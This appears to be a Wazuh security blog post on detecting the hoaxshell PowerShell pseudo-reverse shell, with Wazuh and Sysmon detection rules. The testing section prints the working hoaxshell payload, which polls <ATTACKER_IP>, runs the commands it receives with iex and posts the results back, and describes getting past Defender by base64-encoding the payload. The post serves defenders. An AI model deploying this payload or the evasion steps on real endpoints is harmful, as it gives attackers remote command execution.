Detecting hoaxshell with Wazuh
Hoaxshell is a pseudo-reverse shell that targets Windows endpoints. It is called a pseudo-reverse shell because the hoaxshell payload generates a shell that uses HTTP(S) to send commands and receive responses. This is unlike conventional reverse shells that rely on transport layer protocols for communication. PowerShell is the attack vector used by hoaxshell.
Other exploits can use PowerShell to gain access and maintain persistence on Windows endpoints. Additionally, attackers can obfuscate hoaxshell payloads to bypass various anti-malware solutions. This blog shows how Wazuh can detect generic and obfuscated hoaxshell payloads and other attacks that abuse PowerShell.
Attack scenarios
Hoaxshell can be used as part of phishing attacks to gain initial access to internal endpoints and networks. There is a high probability that attacks using hoaxshell will bypass port-based firewalls because the attacks use conventional ports like 80 or 443 for communication. An attacker can also insert hoaxshell scripts into documents by utilizing macros.
These attacks will be lethal if the target does not have any detection mechanisms in place for this kind of attack. There are other attack scenarios, but hopefully, these examples give an idea of how effective and sneaky this threat is.
Testing hoaxshell
To detect hoaxshell, we created and executed hoaxshell payloads on a Windows 11 endpoint with all security updates (as of November 29) applied.
Requirements
- Wazuh agent 4.3.10 installed on the Windows 11 endpoint.
- A Centos 7 server running the Wazuh server 4.3.10.
- A Kali Linux 2021 endpoint.
Testing default hoaxshell payloads
Kali Linux endpoint
1. Clone the hoaxshell repository from GitHub:
$ git clone https://github.com/t3l3machus/hoaxshell
2. Create a python virtual environment to avoid errors when running hoaxshell:
$ cd hoaxshell $ python3 -m venv hoaxshellEnv $ source hoaxshellEnv/bin/activate
3. Install hoaxshell requirements using the commands below:
$ sudo chmod +x hoaxshell.py $ python3 -m pip install -r requirements.txt
4. Generate a hoaxshell payload:
$ python3 hoaxshell.py -s <ATTACKER_IP>
Where <ATTACKER_IP> is the IP address of the Kali Linux endpoint. You should get an output similar to the snippet below:
4. Copy the reverse shell payload. The payload will be different on your endpoint.
Windows 11 endpoint
1. Launch PowerShell, and run the payload you have copied. You should get the error message below:
At line:1 char:1
+ $s='<ATTACKER_IP>:8080';$i='9187fd93-ad5dffe2-4e843b87';$p='http://' ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
2. Next, disable real-time and cloud-delivered protection in Windows security settings and run the payload again. This time, a shell will be created successfully on the attacker endpoint.
Testing obfuscated hoaxshell payloads
For this test, enable real-time protection and cloud-delivered protection in Windows security settings on Windows 11. Exit any shells created on the attacker endpoint.
Kali Linux endpoint
1. Ensure you are in the hoaxshell directory and run the following command:
$ python3 hoaxshell.py -s <ATTACKER_IP> -r -H "Authorization"
You should get an output with a payload that looks like this:
$s='<ATTACKER_IP>:8080';$i='5f8a6f53-558b0938-f763f78c';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/5f8a6f53 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/558b0938 -Headers @{"Authorization"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/f763f78c -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}
2. Edit a copy of the payload by replacing all mentions of the variable $i with its value declared in the payload, and delete the variable declaration from the payload as shown below.
$s='<ATTACKER_IP>:8080';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/5f8a6f53 -Headers @{"Authorization"='5f8a6f53-558b0938-f763f78c'};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/558b0938 -Headers @{"Authorization"='5f8a6f53-558b0938-f763f78c'}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/f763f78c -Method POST -Headers @{"Authorization"='5f8a6f53-558b0938-f763f78c'} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}
Windows endpoint
1. Windows disables running scripts by default, you can enable running scripts by executing below command on a PowerShell terminal with administrator privileges:
> set-executionpolicy remotesigned
2. Create a PowerShell script Encoder.ps1 to encode the edited payload into a valid PowerShell Base64 format:
$command = @' <INSERT THE PAYLOAD> '@ $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -encodedCommand $encodedCommand
3. Replace <INSERT THE PAYLOAD> with the payload from step 2:
$command = @'
$s='<ATTACKER_IP>:8080';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/5f8a6f53 -Headers @{"Authorization"='5f8a6f53-558b0938-f763f78c'};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/558b0938 -Headers @{"Authorization"='5f8a6f53-558b0938-f763f78c'}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/f763f78c -Method POST -Headers @{"Authorization"='5f8a6f53-558b0938-f763f78c'} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}
'@
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encodedCommand
4. Execute the saved PowerShell script:
>.\Encoder.ps1
This time the script will not be blocked by Windows Defender and you will see a shell on the Kali Linux endpoint.
Note
You can use the exit command to close the shells.
Wazuh detection rules for hoaxshell
The rules in this section can detect both generic and obfuscated hoaxshell payloads, along with any attacks that leverage PowerShell as an attack vector.
Collecting PowerShell logs
To detect hoaxshell and other similar PowerShell-based attacks, configure the Wazuh agent on the Windows endpoint to collect PowerShell logs.
Windows endpoint
1. Add the following to the C:\Program Files (x86)\ossec-agent\ossec.conf:
<localfile>
<location>Windows PowerShell</location>
<log_format>eventchannel</log_format>
</localfile>
Note
You can also use centralized configuration to add the configuration above to a group of Windows agents.
2. Restart the Wazuh agent to apply the configuration changes by running the following command using PowerShell with Administrator privileges:
> Restart-Service -Name wazuh
Wazuh server
1. Add the following rules to the local rules file /var/ossec/etc/rules/local_rules.xml:
<group name="win-powershell,">
<rule id="100500" level="0">
<if_group>windows</if_group>
<field name="win.system.providerName">^PowerShell$</field>
<options>no_full_log</options>
<description>Windows Powershell EventLog Entry</description>
</rule>
<rule id="100501" level="13">
<if_sid>100500</if_sid>
<field name="win.system.eventID">^400$</field>
<field name="win.eventdata.data" type="pcre2">(?i)powershell(?:\.exe)? -e(?:ncodedcommand)?</field>
<options>no_full_log</options>
<description>PowerShell encoded script executed</description>
<mitre>
<id>T1059.001</id>
</mitre>
</rule>
</group>
2. Restart the wazuh manager:
# systemctl restart wazuh-manager
The rules above will be triggered whenever a user runs an encoded PowerShell script on the monitored endpoint.
Sysmon integration
Furthermore, we install Sysmon on the Windows 11 endpoint to detect the network connections used by hoaxshell scripts.
Windows endpoint
- Download Sysmon from the Microsoft Sysinternals page.
- Download the Sysmon configuration file: sysmonconfig.xml.
- Install Sysmon with the downloaded configuration file using PowerShell (as administrator):
> .\sysmon64.exe -accepteula -i .\sysmonconfig.xml
4. Edit the Wazuh agent C:\Program Files (x86)\ossec-agent\ossec.conf file to specify the location to collect Sysmon logs:
<localfile> <location>Microsoft-Windows-Sysmon/Operational</location> <log_format>eventchannel</log_format> </localfile>
5. Restart the Wazuh agent to apply the changes by running the following PowerShell command as an administrator:
> Restart-Service -Name wazuh
Wazuh server
1. Add the following rules to the local rules file /var/ossec/etc/rules/local_rules.xml:
<group name="win-sysmon">
<rule id="100502" level="2">
<if_sid>92101</if_sid>
<field name="win.system.eventID" type="pcre2">^3$</field>
<field name="win.eventdata.image" type="pcre2">^C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1\.0\\\\powershell\.exe$</field>
<description>Network connection initiated by PowerShell</description>
<mitre>
<id>T1059.001</id>
</mitre>
</rule>
<rule id="100503" level="13" frequency="5" timeframe="60">
<if_matched_sid>100502</if_matched_sid>
<description>Multiple network connections initiated by PowerShell to "$(win.eventdata.destinationIp)" on port "$(win.eventdata.destinationPort)"</description>
<mitre>
<id>T1059.001</id>
</mitre>
</rule>
</group>
2. Restart the wazuh manager:
# systemctl restart wazuh-manager
Detection results
When we rerun the hoaxshell scripts (both obfuscated and not), we get the alerts shown on the Wazuh dashboard below.
Conclusion
In this blog, we have covered how Wazuh can detect hoaxshell activity and other threats that utilize PowerShell as an attack vector. To mitigate this attack vector, several security companies recommend that PowerShell should be disabled in enterprise environments.
However, the NSA and CISA recommend that PowerShell be monitored rather than blocked outright because the tool is also useful for system administration and incident investigation. Therefore, we recommend that security administrators implement the mitigation suitable for their risk management strategy.
If you have any questions on this blog post or Wazuh in general, please join our community on Slack.